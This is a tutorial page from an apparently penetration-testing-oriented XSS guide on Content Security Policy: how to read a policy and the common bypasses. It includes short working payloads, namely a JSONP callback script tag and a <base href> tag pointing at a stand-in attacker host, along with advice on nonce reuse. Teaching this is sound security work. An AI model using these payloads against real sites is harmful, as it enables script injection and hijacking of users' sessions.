Cross-Site Scripting (XSS): The Complete Practical Guide
Content Security Policy and CSP Bypasses
How CSP blocks XSS and how attackers get around it: reading a policy, unsafe-inline, broad allow-lists, JSONP, base-uri hijacking, and nonce leakage.
Published
A Content Security Policy is a header that tells the browser which sources of script, style, and other resources it is allowed to load and run. Done well, it means that even when you land an injection, your script simply does not execute. Done badly, which is common, it is a speed bump with a gap you can drive through. Knowing how to read a policy and spot the gap is a core XSS skill.
What CSP does
The browser enforces the policy on every resource the page tries to use. For XSS the directive that matters most is script-src: it lists the origins scripts may load from and whether inline script is allowed. If your injected <script>alert(1)</script> is inline and the policy does not allow inline script, the browser refuses to run it. That is the protection in one sentence.
Reading a policy
Pull the header and parse it before trying anything:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m' https://cdn.example;
object-src 'none';
base-uri 'self';Ask four questions:
- Does
script-srcinclude'unsafe-inline'? If so, inline script runs and you are done. - How broad are the allowed hosts? A whole CDN or
https:is a wide door. - Is there a
nonce-orstrict-dynamic? Those are the strong configurations. - Are
object-srcandbase-uriset? Missing ones open extra vectors.
Common bypasses
Most real-world CSPs fall to one of a handful of mistakes:
unsafe-inline. Any inline script or event handler runs. The policy is cosmetic.- Overly broad allow-list.
script-src https:or*lets you host your script anywhere. A trusted-but-huge CDN often contains something exploitable. - JSONP on an allowed host. If an allowed origin exposes a JSONP endpoint, you call it with your code as the callback and the browser runs it as a trusted script:
<script src="https://cdn.example/jsonp?callback=alert(document.domain)//"></script>- AngularJS on an allowed host. An allowed origin that serves AngularJS lets you combine CSP bypass with client-side template injection.
base-urihijacking. Ifbase-uriis not set, inject a<base>tag to change where relative script URLs resolve, pointing them at your server:
<base href="//evil.example/">- Nonce reuse or leakage. If the nonce is predictable, static across responses, or reflected somewhere you can read, reuse it on your own
<script>and it is treated as trusted.
Why object-src and base-uri omissions matter
These two are the quiet ones. A missing object-src 'none' can allow plugin and <embed>/<object> vectors. A missing base-uri enables the <base> hijack above, which turns an allow-list that looked tight into one that loads your script, because you redefined what "relative to the page" means. Strong policies set both explicitly.
Reporting-only pitfalls
A policy delivered as Content-Security-Policy-Report-Only does not enforce anything. It only reports violations. Teams sometimes ship report-only during a rollout and forget to switch to the enforcing header, so always check which header is actually present before assuming you are blocked.
When script is fully blocked
If the policy really is tight, no inline, tight allow-list, nonces you cannot read, then you may still be able to exfiltrate page data with dangling markup injection, which needs no script execution at all. And when a filter rather than a CSP is in your way, see filter and WAF evasion.
Read the policy first, every time. Half of CSP bypass is noticing the directive that is missing. Try it on a free live target.
← Back to Cross-Site Scripting (XSS): The Complete Practical Guide